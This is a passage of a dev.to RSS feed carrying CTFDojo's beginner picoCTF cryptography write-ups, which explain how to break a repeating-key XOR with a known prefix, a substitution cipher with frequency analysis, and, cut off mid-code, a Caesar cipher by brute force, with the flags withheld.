    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;flag.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;ciphertext.txt
3d262c3c061909340c1a1210100c1a1210100c1a1210100c1a1210102e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;KEY&lt;/code&gt; is unknown, but the encryption scheme is crystal clear: repeated byte-by-byte XOR, cycling through the key (&lt;code&gt;i % len(key)&lt;/code&gt;). It's a classic construction — and classically vulnerable as soon as you know a fragment of the plaintext.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Understand XOR's self-inverse property
&lt;/h2&gt;

&lt;p&gt;The XOR operator has a mathematical property that's very handy for the attacker: it's its own inverse. If &lt;code&gt;ciphertext = plaintext XOR key&lt;/code&gt;, then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plaintext XOR ciphertext = plaintext XOR (plaintext XOR key) = (plaintext XOR plaintext) XOR key = 0 XOR key = key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In other words: as soon as you know &lt;strong&gt;both&lt;/strong&gt; a chunk of plaintext and its corresponding ciphertext, you can recover the key directly, without having to guess it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Crib dragging with the known prefix
&lt;/h2&gt;

&lt;p&gt;Every picoCTF flag follows the same format: it starts with &lt;code&gt;picoCTF{&lt;/code&gt;. That's our "crib" (known plaintext). We XOR this crib with the first bytes of the ciphertext to deduce the first bytes of the key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ciphertext_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3d262c3c061909340c1a1210100c1a1210100c1a1210100c1a1210102e&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;crib&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;picoCTF{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;key_fragment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;crib&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_fragment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b'MOOSEMOO'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We get a key fragment. A pattern jumps out right away: the first 5 bytes &lt;code&gt;MOOSE&lt;/code&gt; repeat at the start of the next 3 bytes (&lt;code&gt;MOO&lt;/code&gt;) — a clear sign that the real key is 5 bytes long and we simply went past one period with an 8-character crib.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Determine the key length
&lt;/h2&gt;

&lt;p&gt;Looking at &lt;code&gt;key_fragment = MOOSEMOO&lt;/code&gt;, the most natural hypothesis is a 5-byte key: &lt;code&gt;MOOSE&lt;/code&gt;, which indeed starts over at the 6th position (the following &lt;code&gt;M&lt;/code&gt;, since the 8-character crib overruns one period of the 5-byte key).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MOOSE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# 5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is consistent: a short 5-byte key cycling over the whole message, exactly as expected from the encryption script given in the challenge.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Decrypt the full message
&lt;/h2&gt;

&lt;p&gt;With the complete key in hand, we decrypt the whole file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;itertools&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cycle&lt;/span&gt;

&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MOOSE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;cycle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;picoCTF{____________________}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;picoCTF{&lt;/code&gt; prefix confirms the recovered key is correct, and the rest of the message decrypts cleanly through to the closing brace.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge illustrates a known-plaintext attack on short repeating-key XOR: knowing just a fragment of the plaintext is enough to recover the entire key, and therefore the entire message.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;XOR with a short repeating key is vulnerable as soon as part of the plaintext is known — the fixed format of CTF flags (&lt;code&gt;picoCTF{&lt;/code&gt;) is often that known fragment&lt;/li&gt;
&lt;li&gt;Never reuse a short XOR key across multiple blocks or messages: it's the same structural weakness as the Vigenère cipher&lt;/li&gt;
&lt;li&gt;For real confidentiality needs, prefer a modern authenticated cipher like AES-GCM or ChaCha20-Poly1305, never repeated XOR&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-easy1-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>PicoCTF Substitution0 Writeup — Break a Substitution Cipher with Frequency Analysis</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Fri, 11 Sep 2026 20:54:17 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-substitution0-writeup-break-a-substitution-cipher-with-frequency-analysis-44l8</link>
      <guid>https://dev.to/ctfdojo/picoctf-substitution0-writeup-break-a-substitution-cipher-with-frequency-analysis-44l8</guid>
      <description>&lt;p&gt;&lt;em&gt;Unlike Caesar, each letter is replaced by a different letter according to an arbitrary mapping (not a simple shift). We solve it by comparing the letter frequency of the ciphertext to the known letter frequency in English, and guessing short words (&lt;code&gt;the&lt;/code&gt;, &lt;code&gt;and&lt;/code&gt;, &lt;code&gt;a&lt;/code&gt;...).&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 150 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Monoalphabetic substitution, frequency analysis&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a fairly long, fully encrypted text, with no hint other than the challenge's name:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Not all ciphers are too complicated. Sometimes, all you need to do is find the correct letters."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The text contains several hundred characters — that's no accident, as we'll see, the more ciphertext there is, the more reliable frequency analysis becomes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — The difference from Caesar: monoalphabetic substitution
&lt;/h2&gt;

&lt;p&gt;Here, there's no simple shift: each letter of the alphabet is mapped to another letter according to an &lt;strong&gt;arbitrary&lt;/strong&gt; correspondence (for example A→Q, B→W, C→E...), fixed once and for all for the entire message. This gives &lt;strong&gt;26! (26 factorial)&lt;/strong&gt; possible combinations — an astronomical number, far too large for naive brute force like on Caesar.&lt;/p&gt;

&lt;p&gt;But substitution remains vulnerable to a structural weakness: it preserves the &lt;strong&gt;relative frequency&lt;/strong&gt; of letters. If "E" is the most used letter in English, then in the ciphertext, the most frequent letter very likely corresponds to "E".&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Frequency analysis
&lt;/h2&gt;

&lt;p&gt;We start by counting the occurrence of each letter in the ciphertext with &lt;code&gt;collections.Counter&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Counter&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ciphertext.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;letters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;span class="n"&gt;freq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;letters&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;freq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;pct&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;letters&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;letter&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; occurrences  (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pct&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;x :  187 occurrences  (12.4%)
q :  143 occurrences  ( 9.5%)
z :  121 occurrences  ( 8.0%)
j :   98 occurrences  ( 6.5%)
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We compare this ranking to the known letter frequency in English: &lt;strong&gt;E (12.7%), T (9.1%), A (8.2%), O (7.5%), I (7.0%), N (6.7%)...&lt;/strong&gt; First hypothesis: &lt;code&gt;x&lt;/code&gt; → E, &lt;code&gt;q&lt;/code&gt; → T, &lt;code&gt;z&lt;/code&gt; → A, &lt;code&gt;j&lt;/code&gt; → O.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Deduce mappings and iterate
&lt;/h2&gt;

&lt;p&gt;Overall frequency gives a starting point, but it's never enough to solve the text in one shot — you have to refine it with structural clues:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Single-letter words in English can only be &lt;code&gt;A&lt;/code&gt; or &lt;code&gt;I&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The most common three-letter words are often &lt;code&gt;THE&lt;/code&gt; or &lt;code&gt;AND&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Consecutive doubled letters (like &lt;code&gt;SS&lt;/code&gt;, &lt;code&gt;LL&lt;/code&gt;, &lt;code&gt;EE&lt;/code&gt;) point toward certain common pairs&lt;/li&gt;
&lt;li&gt;Punctuation and word structure (apostrophes, short words at the end of a sentence) provide further clues&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We progressively substitute the safest letters, re-read the partially decrypted text, and correct wrong hypotheses as recognizable words emerge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before: xqz zex ol jax os qjx pxrq ...
After (E,T,A,O known): ..e ..a .. .a. .. e..a...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By iterating several times, the text becomes more and more readable until it reveals complete words, then whole sentences, and finally the expected pattern &lt;code&gt;picoCTF{...}&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Verify with an automatic solver
&lt;/h2&gt;

&lt;p&gt;To save time or check your work, there are online substitution solvers like &lt;a href="https://quipqiup.com/" rel="noopener noreferrer"&gt;quipqiup.com&lt;/a&gt;, which use an English dictionary and a search algorithm to automatically suggest the most likely mapping. It's an excellent way to confirm a solution found manually, or to unblock a text too short for reliable frequency analysis.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;Monoalphabetic substitution has a huge key space (26!), but it doesn't hide the underlying statistical structure of the language — and that's exactly what frequency analysis exploits.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frequency analysis is THE basic technique against any simple substitution cipher — it's what has made these ciphers obsolete for centuries against an adversary with enough ciphertext&lt;/li&gt;
&lt;li&gt;The longer the ciphertext, the closer the frequency distribution gets to the language's theoretical distribution, and the easier it is to solve&lt;/li&gt;
&lt;li&gt;Combining letter frequency with recognizing short words (A, I, THE, AND) dramatically speeds up solving compared to a purely statistical approach&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-substitution0-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>PicoCTF Mod 26 Writeup — Brute-Force a Caesar Cipher</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Thu, 10 Sep 2026 20:56:46 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-mod-26-writeup-brute-force-a-caesar-cipher-4d67</link>
      <guid>https://dev.to/ctfdojo/picoctf-mod-26-writeup-brute-force-a-caesar-cipher-4d67</guid>
      <description>&lt;p&gt;&lt;em&gt;The Caesar cipher has exactly 26 possible shifts (modulo the 26 letters of the alphabet). A Python script that tests all 26 shifts and looks for &lt;code&gt;picoCTF&lt;/code&gt; in the result finds the right one in a fraction of a second.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 100 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Caesar cipher, brute force&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a ciphertext and a hint that clearly points the way:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"I made my really long password more secure by adding 26 to each letter... modulo the number of letters."&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tmgsgxj{________________________}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The word "modulo" combined with text that looks like letters shuffled in a regular pattern is a strong hint toward a &lt;strong&gt;Caesar cipher&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Understand the Caesar cipher
&lt;/h2&gt;

&lt;p&gt;The Caesar cipher is one of the oldest known ciphers: each letter of the plaintext is replaced by the letter located &lt;em&gt;n&lt;/em&gt; positions further in the alphabet, where &lt;em&gt;n&lt;/em&gt; is the shift (the key). For example, with a shift of 3: A→D, B→E, C→F, etc. Once we reach Z, we wrap back around to A — hence the "modulo 26" in the hint, since the Latin alphabet has 26 letters.&lt;/p&gt;

&lt;p&gt;Mathematically, for a letter at position &lt;code&gt;p&lt;/code&gt; in the alphabet (A=0, B=1, ..., Z=25) and a shift &lt;code&gt;k&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;encryption: c = (p + k) mod 26
decryption: p = (c - k) mod 26
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — Brute force across the 26 shifts
&lt;/h2&gt;

&lt;p&gt;Caesar's fundamental weakness is that the key space is ridiculously small: there are only 26 possible shifts (0 to 25), one of which does nothing (shift 0) and one of which is the famous ROT13 (shift 13). No need to guess anything: we test all 26 in a loop and see which one produces readable text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;caesar_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isupper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
